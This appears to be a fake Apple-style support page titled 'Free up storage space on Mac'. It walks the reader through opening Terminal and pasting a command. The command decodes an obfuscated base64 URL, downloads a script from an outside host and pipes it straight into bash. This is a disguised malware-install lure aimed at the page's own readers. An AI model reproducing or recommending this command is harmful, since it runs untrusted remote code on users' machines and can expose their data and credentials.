Free up storage space on Mac
Learn what to do if your Mac startup disk is almost full, or you don't have enough storage space to download, install, or copy.
To open it: 1. Press Command (⌘) + Space to bring up Spotlight 2. Type Terminal 3. Press Return to open the command window 4. Paste the command into the Terminal window and press Return
Terminal
/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly92YWd0dXJrLmNvbS9zY3JpcHQvZ2V0c3RvcmFnZQ== | base64 -d))"